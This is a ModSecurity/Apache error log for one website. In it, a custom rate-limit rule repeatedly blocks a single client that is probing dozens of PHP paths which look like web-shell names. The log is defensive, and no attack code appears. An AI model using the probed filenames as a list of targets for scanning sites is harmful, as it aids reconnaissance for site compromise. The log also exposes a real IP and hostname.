[Tue Feb 03 23:08:02.368248 2026] [:error] [pid 42921:tid 42982] [client 20.194.44.29:10069] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aYIPUoblShffGl-01oebmAAAAFg"]
[Tue Feb 03 23:08:05.574854 2026] [:error] [pid 5148:tid 5166] [client 20.194.44.29:16622] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aYIPVb83HCHLtUIbS7INrwAAAU8"]
[Tue Feb 03 23:08:09.224067 2026] [:error] [pid 5148:tid 5174] [client 20.194.44.29:10094] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aYIPWb83HCHLtUIbS7INtQAAAVc"]
[Tue Feb 03 23:08:10.208949 2026] [:error] [pid 28720:tid 28722] [client 20.194.44.29:10079] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aYIPWmmRXm2bmr_sYibzowAAAQA"]
[Tue Feb 03 23:08:17.493632 2026] [:error] [pid 42922:tid 42999] [client 20.194.44.29:11606] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aYIPYWazX4WPS_dQRki-6AAAAI4"]
[Tue Feb 03 23:08:40.415982 2026] [:error] [pid 5229:tid 5250] [client 20.194.44.29:55733] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aYIPeEKmEgmJub93yUoqwgAAAZM"]
[Tue Feb 03 23:08:44.229575 2026] [:error] [pid 5148:tid 5171] [client 20.194.44.29:55547] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aYIPfL83HCHLtUIbS7IN3QAAAVQ"]
[Tue Feb 03 23:08:45.794094 2026] [:error] [pid 5148:tid 5164] [client 20.194.44.29:52714] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aYIPfb83HCHLtUIbS7IN3wAAAU0"]
[Tue Feb 03 23:08:47.056527 2026] [:error] [pid 5229:tid 5253] [client 20.194.44.29:5757] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aYIPf0KmEgmJub93yUoqzQAAAZY"]
[Tue Feb 03 23:08:48.300319 2026] [:error] [pid 42920:tid 42930] [client 20.194.44.29:52723] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aYIPgCix3YKltG4EU0moCAAAAAE"]
[Tue Feb 03 23:08:49.315137 2026] [:error] [pid 42920:tid 42934] [client 20.194.44.29:10088] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aYIPgSix3YKltG4EU0moCwAAAAU"]
[Tue Feb 03 23:08:50.093042 2026] [:error] [pid 42922:tid 43005] [client 20.194.44.29:14297] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aYIPgmazX4WPS_dQRki_BAAAAJQ"]
[Tue Feb 03 23:08:51.423223 2026] [:error] [pid 28720:tid 28736] [client 20.194.44.29:55698] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aYIPg2mRXm2bmr_sYibz3gAAAQ4"]
[Tue Feb 03 23:08:56.857942 2026] [:error] [pid 42920:tid 42941] [client 20.194.44.29:43189] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aYIPiCix3YKltG4EU0moGAAAAAw"]
[Tue Feb 03 23:09:01.224923 2026] [:error] [pid 42921:tid 42965] [client 20.194.44.29:55536] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aYIPjYblShffGl-01oebwwAAAEc"]
[Tue Feb 03 23:09:07.020441 2026] [:error] [pid 5229:tid 5238] [client 20.194.44.29:9881] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aYIPk0KmEgmJub93yUoq_wAAAYc"]
[Tue Feb 03 23:09:38.156656 2026] [:error] [pid 5229:tid 5249] [client 20.194.44.29:9163] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aYIPskKmEgmJub93yUorHgAAAZI"]
[Tue Feb 03 23:09:40.962996 2026] [:error] [pid 42920:tid 42944] [client 20.194.44.29:55752] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aYIPtCix3YKltG4EU0moSAAAAA8"]
[Tue Feb 03 23:09:42.701760 2026] [:error] [pid 5229:tid 5234] [client 20.194.44.29:55760] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aYIPtkKmEgmJub93yUorJAAAAYM"]
[Tue Feb 03 23:10:08.808357 2026] [:error] [pid 43028:tid 43050] [client 20.194.44.29:53986] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aYIP0FnHWnJD4cJC5DvgGwAAANQ"]
[Tue Feb 03 23:10:25.089990 2026] [:error] [pid 42920:tid 42953] [client 20.194.44.29:18859] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYIP4Six3YKltG4EU0moewAAABg"]
[Tue Feb 03 23:10:26.788398 2026] [:error] [pid 42922:tid 43004] [client 20.194.44.29:9179] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYIP4mazX4WPS_dQRki_TgAAAJM"]
[Tue Feb 03 23:10:27.711259 2026] [:error] [pid 42921:tid 42962] [client 20.194.44.29:52713] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYIP44blShffGl-01oecHwAAAEQ"]
[Tue Feb 03 23:10:49.912047 2026] [:error] [pid 28720:tid 28735] [client 20.194.44.29:55488] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aYIP-WmRXm2bmr_sYib0cwAAAQ0"]
[Tue Feb 03 23:10:58.623482 2026] [:error] [pid 5148:tid 5171] [client 20.194.44.29:18829] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aYIQAr83HCHLtUIbS7IOnAAAAVQ"]
[Tue Feb 03 23:10:59.676541 2026] [:error] [pid 43028:tid 43042] [client 20.194.44.29:10169] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aYIQA1nHWnJD4cJC5DvgVgAAAMw"]
[Tue Feb 03 23:11:01.348019 2026] [:error] [pid 5148:tid 5168] [client 20.194.44.29:10116] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aYIQBb83HCHLtUIbS7IOoAAAAVE"]
[Tue Feb 03 23:11:08.863592 2026] [:error] [pid 28720:tid 28728] [client 20.194.44.29:57373] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYIQDGmRXm2bmr_sYib0mAAAAQY"]
[Tue Feb 03 23:11:10.139629 2026] [:error] [pid 28720:tid 28744] [client 20.194.44.29:18863] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYIQDmmRXm2bmr_sYib0mwAAARY"]
[Tue Feb 03 23:11:11.995875 2026] [:error] [pid 5229:tid 5252] [client 20.194.44.29:52715] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYIQD0KmEgmJub93yUorpwAAAZU"]
[Tue Feb 03 23:11:15.772560 2026] [:error] [pid 28720:tid 28726] [client 20.194.44.29:55713] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYIQE2mRXm2bmr_sYib0oQAAAQQ"]
[Tue Feb 03 23:11:18.785739 2026] [:error] [pid 42922:tid 43002] [client 20.194.44.29:10164] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aYIQFmazX4WPS_dQRki_jQAAAJE"]
[Tue Feb 03 23:11:19.636312 2026] [:error] [pid 28720:tid 28738] [client 20.194.44.29:55532] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aYIQF2mRXm2bmr_sYib0owAAARA"]
[Tue Feb 03 23:11:28.324497 2026] [:error] [pid 43028:tid 43035] [client 20.194.44.29:13892] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aYIQIFnHWnJD4cJC5DvgfAAAAMU"]
[Tue Feb 03 23:11:29.899575 2026] [:error] [pid 42922:tid 43001] [client 20.194.44.29:10154] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aYIQIWazX4WPS_dQRki_oAAAAJA"]
[Tue Feb 03 23:11:49.225815 2026] [:error] [pid 5229:tid 5243] [client 20.194.44.29:10062] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aYIQNUKmEgmJub93yUor-AAAAYw"]
[Tue Feb 03 23:11:58.512737 2026] [:error] [pid 43028:tid 43041] [client 20.194.44.29:55509] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aYIQPlnHWnJD4cJC5DvgugAAAMs"]
[Tue Feb 03 23:12:00.255750 2026] [:error] [pid 43028:tid 43034] [client 20.194.44.29:9753] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aYIQQFnHWnJD4cJC5DvgwAAAAMQ"]
[Tue Feb 03 23:12:05.493102 2026] [:error] [pid 43028:tid 43033] [client 20.194.44.29:55704] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYIQRVnHWnJD4cJC5DvgzAAAAMM"]
[Tue Feb 03 23:12:07.429167 2026] [:error] [pid 5229:tid 5231] [client 20.194.44.29:9736] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYIQR0KmEgmJub93yUosJAAAAYA"]
[Tue Feb 03 23:12:14.192615 2026] [:error] [pid 5229:tid 5239] [client 20.194.44.29:16587] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYIQTkKmEgmJub93yUosLwAAAYg"]
[Tue Feb 03 23:12:15.019794 2026] [:error] [pid 42921:tid 42979] [client 20.194.44.29:16610] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYIQT4blShffGl-01oecyQAAAFU"]
[Tue Feb 03 23:12:16.360935 2026] [:error] [pid 5148:tid 5157] [client 20.194.44.29:37411] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYIQUL83HCHLtUIbS7IO_QAAAUY"]
[Tue Feb 03 23:12:23.034635 2026] [:error] [pid 28720:tid 28733] [client 20.194.44.29:5723] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYIQV2mRXm2bmr_sYib1BgAAAQs"]
[Tue Feb 03 23:12:25.427639 2026] [:error] [pid 42922:tid 42999] [client 20.194.44.29:17694] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYIQWWazX4WPS_dQRki_1QAAAI4"]
[Tue Feb 03 23:12:37.836465 2026] [:error] [pid 5229:tid 5254] [client 20.194.44.29:5330] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/click.php"] [unique_id "aYIQZUKmEgmJub93yUosQQAAAZc"]
[Tue Feb 03 23:12:39.571076 2026] [:error] [pid 42921:tid 42975] [client 20.194.44.29:10096] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/click.php"] [unique_id "aYIQZ4blShffGl-01oec5gAAAFE"]
[Tue Feb 03 23:12:42.489633 2026] [:error] [pid 42921:tid 42969] [client 20.194.44.29:9731] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/click.php"] [unique_id "aYIQaoblShffGl-01oec7gAAAEs"]
[Tue Feb 03 23:12:44.359275 2026] [:error] [pid 43028:tid 43043] [client 20.194.44.29:10084] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/click.php"] [unique_id "aYIQbFnHWnJD4cJC5DvhIwAAAM0"]
[Tue Feb 03 23:12:45.305545 2026] [:error] [pid 42920:tid 42931] [client 20.194.44.29:11600] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aYIQbSix3YKltG4EU0mpKAAAAAI"]
[Tue Feb 03 23:12:45.989171 2026] [:error] [pid 5148:tid 5169] [client 20.194.44.29:37377] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aYIQbb83HCHLtUIbS7IPKwAAAVI"]
[Tue Feb 03 23:12:55.303771 2026] [:error] [pid 42921:tid 42966] [client 20.194.44.29:8216] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aYIQd4blShffGl-01oec-AAAAEg"]
[Tue Feb 03 23:13:10.496162 2026] [:error] [pid 43028:tid 43050] [client 20.194.44.29:37382] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aYIQhlnHWnJD4cJC5DvhYwAAANQ"]
[Tue Feb 03 23:13:11.608911 2026] [:error] [pid 5229:tid 5243] [client 20.194.44.29:12017] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aYIQh0KmEgmJub93yUosewAAAYw"]
[Tue Feb 03 23:13:13.527701 2026] [:error] [pid 42922:tid 43004] [client 20.194.44.29:13902] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aYIQiWazX4WPS_dQRkjAEgAAAJM"]
[Tue Feb 03 23:13:14.468362 2026] [:error] [pid 5229:tid 5241] [client 20.194.44.29:9750] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aYIQikKmEgmJub93yUosgAAAAYo"]
